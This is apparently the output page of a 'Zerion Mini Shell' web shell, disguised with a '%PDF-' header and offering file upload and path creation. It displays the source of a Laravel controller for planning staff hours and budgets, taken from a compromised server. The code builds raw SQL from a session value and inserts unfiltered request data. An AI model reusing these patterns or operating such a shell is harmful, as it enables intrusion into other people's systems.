%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/pjc/app/Http/Controllers/
Upload File :
Create Path :
Current File : /var/www/pjc/app/Http/Controllers/Planning.php

<?php
use Illuminate\Support\Facades\Response;
namespace App\Http\Controllers;
use DB;
use App\Http\Controllers\Controller;
use App\Models\User;
use App\Utility;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Facades\Redirect;
use Illuminate\Support\Facades\Input;
use Illuminate\Http\Request;

class Planning extends Controller
{

	/**
	 * Display a listing of the resource.
	 *
	 * @return Response
	 */
	public function index()
	{

		if ((Session::get('idUtente') == 5) or (Session::get('idUtente') == 6) or (Session::get('idUtente') == 13) or (Session::get('idUtente') == 1) or (Session::get('idUtente') == 27)) {
			$importoTotale = 0; //Importo di tutte le commesse del settore
			$importoCarico = 0; //Importo di tutte le ore assegnate per 62.5

			$importoTotale = DB::table('project')
				->join('projects_accounts', 'projects_accounts.project_id', '=', 'project.id')
				->join('project_cstm', 'project_cstm.id_c', '=', 'project.id')
				->select('project.id', 'name', 'description', 'estimated_start_date', 'status', 'projects_accounts.account_id', 'project_cstm.importo_c')
				->where('project.deleted', 0)
				->where('projects_accounts.deleted', 0)
				//->where('status', 'Draft')
				->where('settore_c', Session::get('idSettore'))
				->sum('importo_c');

			$oreAssegnate = DB::select(DB::raw("select sum(carico) as somma,mese from planning where id_settore=" . Session::get('idSettore') . " group by mese"));

			$oreMeseCarico = array();
			foreach ($oreAssegnate as $value) {

				$oreMeseCarico[$value->mese] = ($value->somma);
			}

			$mesi = array(
				'-',
				'Gennaio',
				'Febbraio',
				'Marzo',
				'Aprile',
				'Maggio',
				'Giugno',
				'Luglio',
				'Agosto',
				'Settembre',
				'Ottobre',
				'Novembre',
				'Dicembre'
			);


			return view('planning.index')
				->withImportototale($importoTotale)
				->withOrecarico($oreMeseCarico)
				->withMesi($mesi);
		} else {
			return Redirect::action('gestioneOre@ore', [Session::get('idUtente')]);
		}
	}

	/**
	 * Show the form for creating a new resource.
	 *
	 * @return Response
	 */
	public function create($mese, $anno)
	{


		$mesePass = $mese;
		$importoPianificato = 0;
		//CREO ARRAY DEI TECNICI DI QUEL SETTORE
		$capo = DB::table('utenti')
			->where('id', Session::get('idUtente'))
			->get();

		$tecniciAppoggio = DB::table('utenti')
			->where('attivo', 1)
			->where('idsettore', $capo[0]->idsettore)
			->get();



		$valori_budget = array();
		$budget = DB::table('budget')->where('idSettore', $capo[0]->idsettore)->get();

		foreach ($budget as $valori) {
			$valori_budget[$valori->mese] = $valori->importo;
		}

		foreach ($tecniciAppoggio as $key) {

			$tecnici [$key->id] = $key->cognome;
			$tecniciId = $key->id;
		}
		//RECUPERO LE ORE PER CIASCUN TECNICO FATTE NEL MESE per il caposettore
		$oreAssegnate = Utility::oreCaricoMese($mese, $anno, Session::get('idUtente'));
		//CREA ARRAY CON ID TECNICO E LE ORE ASSEGANTE
		$oreAss = array();
		foreach ($oreAssegnate as $value) {

			$oreAss [$value->id_tecnico] = $value->somma;
		}
                $oreAssegnateNo = Utility::oreCaricoMeseNoComm($mese, $anno, Session::get('idUtente'));
		//CREA ARRAY CON ID TECNICO E LE ORE ASSEGANTE
		$oreAssNo = array();
		foreach ($oreAssegnateNo as $value) {

			$oreAssNo[$value->id_tecnico] = $value->somma;
		}
               



//CREO ARRAY DEI TECNICI CON NOME
		$tecniciAppoggio = DB::table('utenti')
			->where('attivo', 1)
			->where('settore', $capo[0]->settore)
			->get();


		foreach ($tecniciAppoggio as $key) {

			if (isset ($oreAss [$key->id])) {
				$dato = $oreAss [$key->id];
			} else {
				$dato = 0;
			}
			$tecniciOre [$key->id] = $key->cognome . " --- (occupato per: " . $dato . " )";
		}
//RECUPERO LE ORE ASSENGNATE DAL CAPOSETTORE NEL MESE E ANNO SPECIFICO
		$planning = DB::table('planning')
                        ->join('utenti','utenti.id','=','planning.id_utente')
                        //->whereNotIn('id_commessa',['103','104'])
			->where('mese', $mese)
			->where('anno', $anno)
			->where('planning.id_utente', Session::get('idUtente'))->get();

		if (count($planning)) {
			foreach ($planning as $key) {
				$commesse[] = $key->id_commessa;
			}
		} else {
			$commesse = array();
		}


//CALCOLO IL VALORE DELLE ORE SCELTE DAL CAPOSETTORE
		foreach ($planning as $item) {
                    
			$importoPianificato = $importoPianificato + (Utility::convertiore($item->carico) * 62.5 * $item->k);
                   
		}
//CREO ARRAY DEI NOMI CLIENTI
		$account = DB::table('accounts')->select('id', 'name')->where('deleted', 0)->get();

		foreach ($account as $item) {
			$accounts [$item->id] = $item->name;
		}
//CREO ARRAY DELLE COMMESSE DEL CRM
		$commesseAppoggio = DB::table('project')
			->join('projects_accounts', 'projects_accounts.project_id', '=', 'project.id')
			->join('project_cstm', 'project_cstm.id_c', '=', 'project.id')
			->select('project.id', 'name', 'description', 'estimated_start_date', 'status', 'projects_accounts.account_id', 'project_cstm.importo_c')
			->where('project.deleted', 0)
			->where('projects_accounts.deleted', 0)
			//->where('status', 'Draft')
			->whereIn('name', $commesse)
			->get();
//		return $commesseAppoggio;
		$totaleCommesse = 0;
		foreach ($commesseAppoggio as $key) {
			$totaleCommesse = +$key->importo_c;
			$commesse [$key->name] = $key;
		}

		$mesi = array(
			'-',
			'Gennaio',
			'Febbraio',
			'Marzo',
			'Aprile',
			'Maggio',
			'Giugno',
			'Luglio',
			'Agosto',
			'Settembre',
			'Ottobre',
			'Novembre',
			'Dicembre'
		);

		$kTecnici = DB::table('utenti')->get();
		foreach ($kTecnici as $item) {
			$k_array[$item->id] = $item->k;
		}

		if(isset($valori_budget[$mese]))
		{
			$valore = $valori_budget[$mese];
		}
		else{
			$valore =0;
		}

        
                    
		return view('planning.create')
			->withPianificato($importoPianificato)
                        
			->withImporto($totaleCommesse)
			->withTecniciore($tecniciOre)
			->withCommesse($commesse)
			->withAccounts($accounts)
			->withTecnici($tecnici)
			->withMese($mesi[$mese])
                        ->withMesenumero($mese)
			->withAnno($anno)
			->withPlanning($planning)
			->withMesen($mesePass)
			->withKutenti($k_array)
			->withBudget($valore)
			->withOreass($oreAss)
                        ->withOreassno($oreAssNo);
		
		
                  
	}


	public function addCommessa($mese, $anno)
	{

		$capo = DB::table('utenti')
			->where('id', Session::get('idUtente'))
			->get();

		$account = DB::table('accounts')->select('id', 'name')->where('deleted', 0)->get();

		foreach ($account as $item) {
			$accounts [$item->id] = $item->name;
		}

		$commesseAppoggio = DB::table('project')
			->join('projects_accounts', 'projects_accounts.project_id', '=', 'project.id')
			->join('project_cstm', 'project_cstm.id_c', '=', 'project.id')
			->select('project.id', 'name', 'description', 'estimated_start_date', 'status', 'projects_accounts.account_id', 'project_cstm.importo_c')
			->where('project.deleted', 0)
			//->where('project_cstm.settore_c', Session::get('idSettore'))
			->where('projects_accounts.deleted', 0)
			// ->where('estimated_start_date' ,'>', '2014-01-01')
			->whereIn('status',['Draft','apertamafatturata'])
			->get();

		foreach ($commesseAppoggio as $key) {

			$ore = Utility::totOre($key->importo_c, 62.5);

			$oreFatte = Utility::totOreDo($key->name);

			$rimanenza = (float)$ore - (float)$oreFatte;

			$commesse [$key->name] = $key->name . "-" . $accounts [$key->account_id] . " - ore rimanenti: " . $rimanenza . " - " . substr($key->description, 0, 100);
		}

		$oreAssegnate = Utility::oreCaricoMese($mese, $anno, Session::get('idUtente'));
		foreach ($oreAssegnate as $value) {

			$oreAss [$value->id_tecnico] = $value->somma;
		}

		$tecniciAppoggio = DB::table('utenti')
			->where('idsettore', $capo[0]->idsettore)
			->where('attivo', 1)
			->get();



		foreach ($tecniciAppoggio as $key) {

			if (isset ($oreAss [$key->id])) {
				$dato = $oreAss [$key->id];
			} else {
				$dato = 0;
			}
			$tecnici [$key->id] = $key->cognome . " --- (occupato per: " . $dato . " )";
		}

		$mesi = array(
			'-',
			'Gennaio',
			'Febbraio',
			'Marzo',
			'Aprile',
			'Maggio',
			'Giugno',
			'Luglio',
			'Agosto',
			'Settembre',
			'Ottobre',
			'Novembre',
			'Dicembre'
		);

		return view('planning.addCommessa')
			->withCommesse($commesse)
			->withTecnici($tecnici)
			->withMese($mesi [$mese])
			->withAnno($anno)
			->withMesen($mese);
	}

	/**
	 * Store a newly created resource in storage.
	 *
	 * @return Response
	 */
	public function store(Request $request)
	{
		$dati = $request->all();
                
                
               if(isset($dati['programmata']))
               {
                   $dati['programmata'] = 1;
               }
               
              

		$commesseAppoggio = DB::table('project')->join('projects_accounts', 'projects_accounts.project_id', '=', 'project.id')->join('project_cstm', 'project_cstm.id_c', '=', 'project.id')
			->select('project.id', 'name', 'description', 'estimated_start_date', 'status', 'projects_accounts.account_id', 'project_cstm.importo_c')
			->where('project.deleted', 0)
			->where('projects_accounts.deleted', 0)

		// ->where('estimated_start_date' ,'>', '2014-01-01')
		//where('status', 'Draft')
			->where('name', $dati ['id_commessa'])->get();

		$ore = Utility::totOre($commesseAppoggio [0]->importo_c, 62.5);




			$id = DB::table('planning')->insertGetId($dati);

			return Redirect::action('Planning@create', [
				$dati ['mese'],
				$dati ['anno']
			]);

	}


	/**
	 * Show the form for editing the specified resource.
	 *
	 * @param int $id
	 * @return Response
	 */
	public function edit($id)
	{
		//
	}

	/**
	 * Update the specified resource in storage.
	 *
	 * @param int $id
	 * @return Response
	 */
	public function update($id)
	{
		//
	}

	/**
	 * Remove the specified resource from storage.
	 *
	 * @param int $id
	 * @return Response
	 */
	public function destroy($id)
	{
		//
	}


	public function elencoplanning($mese, $anno)
	{


		$mesePass = $mese;
		$importoPianificato = 0;
//CREO ARRAY DEI TECNICI DI QUEL SETTORE
		$capo = DB::table('utenti')
			->where('id', Session::get('idUtente'))
			->get();

		$tecniciAppoggio = DB::table('utenti')
			->where('attivo', 1)
			->get();


		$budget = DB::table('budget')->where('idSettore', $capo[0]->idsettore)->get();

		foreach ($budget as $valori) {
			$valori_budget[$valori->mese] = $valori->importo;
		}


		foreach ($tecniciAppoggio as $key) {

			$tecnici [$key->id] = $key->cognome;
			$tecniciId = $key->id;
		}
//RECUPERO LE ORE PER CIASCUN TECNICO FATTE NEL MESE per il caposettore
		$oreAssegnate = Utility::oreCaricoMese($mese, $anno, Session::get('idUtente'));
//CREA ARRAY CON ID TECNICO E LE ORE ASSEGANTE
		$oreAss = array();
		foreach ($oreAssegnate as $value) {

			$oreAss [$value->id_tecnico] = $value->somma;
		}

//CREO ARRAY DEI TECNICI CON NOME
		$tecniciAppoggio = DB::table('utenti')
			->where('attivo', 1)
			->where('settore', $capo[0]->settore)
			->get();


		foreach ($tecniciAppoggio as $key) {

			if (isset ($oreAss [$key->id])) {
				$dato = $oreAss [$key->id];
			} else {
				$dato = 0;
			}
			$tecniciOre [$key->id] = $key->cognome . " --- (occupato per: " . $dato . " )";
		}
//RECUPERO LE ORE ASSENGNATE DAL CAPOSETTORE NEL MESE E ANNO SPECIFICO
		$planning = DB::table('planning')
			->where('mese', $mese)
			->where('anno', $anno)
			->get();

			return $planning;


		if (count($planning)) {
			foreach ($planning as $key) {
				$commesse[] = $key->id_commessa;
			}
		} else {
			$commesse = array();
		}


//CALCOLO IL VALORE DELLE ORE SCELTE DAL CAPOSETTORE
		foreach ($planning as $item) {
			return $item->carico * 62.5;
			$importoPianificato = $importoPianificato + ($item->carico * 62.5);
		}
//CREO ARRAY DEI NOMI CLIENTI
		$account = DB::table('accounts')->select('id', 'name')->where('deleted', 0)->get();

		foreach ($account as $item) {
			$accounts [$item->id] = $item->name;
		}
//CREO ARRAY DELLE COMMESSE DEL CRM
		$commesseAppoggio = DB::table('project')
			->join('projects_accounts', 'projects_accounts.project_id', '=', 'project.id')
			->join('project_cstm', 'project_cstm.id_c', '=', 'project.id')
			->select('project.id', 'name', 'description', 'estimated_start_date', 'status', 'projects_accounts.account_id', 'project_cstm.importo_c')
			->where('project.deleted', 0)
			->where('projects_accounts.deleted', 0)
			//->where('status', 'Draft')
			->whereIn('name', $commesse)
			->get();
//		return $commesseAppoggio;
		$totaleCommesse = 0;
		foreach ($commesseAppoggio as $key) {
			$totaleCommesse = +$key->importo_c;
			$commesse [$key->name] = $key;
		}

		$mesi = array(
			'-',
			'Gennaio',
			'Febbraio',
			'Marzo',
			'Aprile',
			'Maggio',
			'Giugno',
			'Luglio',
			'Agosto',
			'Settembre',
			'Ottobre',
			'Novembre',
			'Dicembre'
		);

		$kTecnici = DB::table('utenti')->get();
		foreach ($kTecnici as $item) {
			$k_array[$item->id] = $item->k;
		}

		if(isset($valori_budget[$mese]))
		{
			$valore = $valori_budget[$mese];
		}
		else{
			$valore =0;
		}




		return view('planning.elenco')
			->withPianificato($importoPianificato)
			->withImporto($totaleCommesse)
			->withTecniciore($tecniciOre)
			->withCommesse($commesse)
			->withAccounts($accounts)
			->withTecnici($tecnici)
			->withMese($mesi [$mese])
			->withAnno($anno)
			->withPlanning($planning)
			->withMesen($mesePass)
			->withKutenti($k_array)
			->withBudget($valore)
			->withOreass($oreAss);

	}
}

Zerion Mini Shell 1.0